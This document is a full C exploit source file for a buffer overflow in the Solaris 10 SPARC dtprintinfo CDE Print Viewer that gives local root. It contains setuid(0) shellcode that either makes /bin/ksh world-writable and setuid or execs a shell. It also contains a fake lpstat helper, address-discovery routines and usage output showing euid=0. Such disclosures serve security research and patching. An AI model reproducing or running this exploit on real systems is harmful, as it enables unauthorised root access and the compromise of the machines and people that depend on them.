# Exploit Title: Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3)
# Date: 2021-02-01
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.oracle.com/solaris/solaris10/
# Version: Solaris 10
# Tested on: Solaris 10 1/13 SPARC
/*
* raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC
* Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to
* local root. Many thanks to Dave Aitel for discovering this vulnerability
* and for his interesting research activities on Solaris/SPARC.
*
* "None of my dtprintinfo work is public, other than that 0day pack being
* leaked to all hell and back. It should all basically still work. Let's
* keep it that way, cool? :>" -- Dave Aitel
*
* This is a revised version of my original exploit that should work on
* modern Solaris 10 SPARC boxes. I had to figure out a new way to obtain
* the needed addresses that's hopefully universal (goodbye VOODOO macros!).
* and I had to work around some annoying crashes, which led me to write
* a custom shellcode that makes /bin/ksh setuid. Crude but effective;)
* If you feel brave, you can also try my experimental exec shellcode, for
* SPARC V8 plus and above architectures only ("It works on my computer!").
*
* I'm developing my exploits on a Solaris 10 Branded Zone and I strongly
* suspect this is the reason for the weird behavior in the execution of
* standard SYS_exec shellcodes, because the crash happens in s10_brand.so.1,
* in the strncmp() function called by brand_uucopystr(). If that's indeed
* the case, any shellcode (including lsd-pl.net's classic shellcode) should
* work on physical systems and I just spent a non-neglibible amount of time
* debugging this for no valid reason but my love of hacking... Oh well!
*
* Usage:
* $ gcc raptor_dtprintname_sparc3.c -o raptor_dtprintname_sparc3 -Wall
* [on your xserver: disable the access control]
* $ ./raptor_dtprintname_sparc3 10.0.0.122:0
* [...]
* $ ls -l /bin/ksh
* -rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh
* $ /bin/ksh
* # id
* uid=100(user) gid=1(other) euid=0(root) egid=2(bin)
* #
*
* Tested on:
* SunOS 5.10 Generic_Virtual sun4u sparc SUNW,SPARC-Enterprise (Solaris 10 1/13)
*/
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_dtprintname_sparc3.c - dtprintinfo on Solaris 10 SPARC"
#define INFO2 "Copyright (c) 2004-2020 Marco Ivaldi <raptor@0xdeadbeef.info>"
#define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program
#define BUFSIZE 301 // size of the printer name
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
//#define USE_EXEC_SC // uncomment to use exec shellcode
#ifdef USE_EXEC_SC
char sc[] = /* Solaris/SPARC execve() shellcode (12 + 48 = 60 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* execve("/bin/ksh", argv, NULL) */
"\x9f\x41\x40\x01" /* rd %pc,%o7 ! >= sparcv8+ */
"\x90\x03\xe0\x28" /* add %o7, 0x28, %o0 */
"\x92\x02\x20\x10" /* add %o0, 0x10, %o1 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\xd0\x22\x20\x10" /* st %o0, [ %o0 + 0x10 ] */
"\xc0\x22\x20\x14" /* clr [ %o0 + 0x14 ] */
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x80\x1c\x40\x11" /* xor %l1, %l1, %g0 ! nop */
"\x41\x41\x41\x41" /* placeholder */
"/bin/ksh";
#else
char sc[] = /* Solaris/SPARC chmod() shellcode (12 + 32 + 20 = 64 bytes) */
/* setuid(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* chmod("/bin/ksh", 037777777777) */
"\x92\x20\x20\x01" /* sub %g0, 1, %o1 */
"\x20\xbf\xff\xff" /* bn,a <sc - 4> */
"\x20\xbf\xff\xff" /* bn,a <sc> */
"\x7f\xff\xff\xff" /* call <sc + 4> */
"\x90\x03\xe0\x20" /* add %o7, 0x20, %o0 */
"\xc0\x22\x20\x08" /* clr [ %o0 + 8 ] */
"\x82\x10\x20\x0f" /* mov 0xf, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
/* exit(0) */
"\x90\x08\x3f\xff" /* and %g0, -1, %o0 */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
#endif /* USE_EXEC_SC */
/* globals */
char *arg[2] = {"foo", NULL};
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int get_ff_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16];
char platform[256], release[256], display[256];
int i, ff_addr, sc_addr, ret_pos, fpt_pos;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("sprintf");
int rwx_mem = search_rwx_mem() + 24; /* stable address */
/* fake lpstat code */
if (!strcmp(argv[0], "lpstat")) {
/* check command line */
if (argc != 2)
exit(1);
/* get ret and fake frame addresses from environment */
ret = (int)strtoul(getenv("RET"), (char **)NULL, 0);
ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0);
/* prepare the evil printer name */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
/* fill with return and fake frame addresses */
for (i = 0; i < BUFSIZE; i += 4) {
/* apparently, we don't need to bruteforce */
set_val(buf, i, ret - 4);
set_val(buf, i += 4, ff_addr);
}
/* print the expected output and exit */
if(!strcmp(argv[1], "-v")) {
fprintf(stderr, "lpstat called with -v\n");
printf("device for %s: /dev/null\n", buf);
} else {
fprintf(stderr, "lpstat called with -d\n");
printf("system default destination: %s\n", buf);
}
exit(0);
}
/* helper program that prints argv[0] address, used by get_ff_addr() */
if (!strcmp(argv[0], "foo")) {
printf("0x%p\n", argv[0]);
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if (argc != 2) {
#ifdef USE_EXEC_SC
fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]);
#else
fprintf(stderr, "usage:\n$ %s xserver:display\n$ /bin/ksh\n\n", argv[0]);
#endif /* USE_EXEC_SC */
exit(1);
}
sprintf(display, "DISPLAY=%s", argv[1]);
/* prepare the fake frame */
bzero(ff, sizeof(ff));
for (i = 0; i < 64; i += 4) {
set_val(ff, i, DUMMY);
}
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
add_env(sc);
ret_pos = env_pos;
add_env("RET=0x41414141"); /* placeholder */
fpt_pos = env_pos;
add_env("FPT=0x42424242"); /* placeholder */
add_env(display);
add_env("PATH=.:/usr/bin");
add_env("HOME=/tmp");
add_env(NULL);
/* calculate the needed addresses */
ff_addr = get_ff_addr(VULN, argv);
sc_addr += ff_addr;
/*
* populate saved %l registers
*/
set_val(ff, i = 0, ff_addr + 56); /* %l0 */
set_val(ff, i += 4, ff_addr + 56); /* %l1 */
set_val(ff, i += 4, ff_addr + 56); /* %l2 */
set_val(ff, i += 4, ff_addr + 56); /* %l3 */
set_val(ff, i += 4, ff_addr + 56); /* %l4 */
set_val(ff, i += 4, ff_addr + 56); /* %l5 */
set_val(ff, i += 4, ff_addr + 56); /* %l6 */
set_val(ff, i += 4, ff_addr + 56); /* %l7 */
/*
* populate saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to sprintf() */
set_val(ff, i += 4, sc_addr); /* %i1: 2nd arg to sprintf() */
set_val(ff, i += 4, ff_addr + 56); /* %i2 */
set_val(ff, i += 4, ff_addr + 56); /* %i3 */
set_val(ff, i += 4, ff_addr + 56); /* %i4 */
set_val(ff, i += 4, ff_addr + 56); /* %i5 */
set_val(ff, i += 4, sb - 1024); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
#ifdef USE_EXEC_SC
set_val(sc, 48, sb - 1024); /* populate exec shellcode placeholder */
#endif /* USE_EXEC_SC */
/* overwrite RET and FPT env vars with the correct addresses */
sprintf(ret_var, "RET=0x%x", ret);
env[ret_pos] = ret_var;
sprintf(fpt_var, "FPT=0x%x", ff_addr);
env[fpt_pos] = fpt_var;
/* create a symlink for the fake lpstat */
unlink("lpstat");
symlink(argv[0], "lpstat");
/* print some output */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using sprintf() address\t: 0x%p\n\n", (void *)ret);
/* check for null bytes (add some padding to env if needed) */
check_zero(ff_addr, "ff address");
check_zero(sc_addr, "sc address");
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(1);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return env_len;
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* get_ff_addr(): get fake frame address using a helper program
*/
int get_ff_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11] = "\x00";
int fd[2], addr;
/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = 0x0;
unlink(prog);
link(argv[0], prog);
/* open pipe to read program output */
if (pipe(fd) < 0) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("fork");
exit(1);
case 0: /* child */
dup2(fd[1], 1);
close(fd[0]);
close(fd[1]);
execve(prog, arg, env);
perror("execve");
exit(1);
default: /* parent */
close(fd[1]);
read(fd[0], hex, sizeof(hex));
break;
}
/* check and return address */
if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) {
fprintf(stderr, "error: cannot read ff address from helper program\n");
exit(1);
}
return addr + 4;
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "error: sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "error: can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address null bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return addr_old;
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
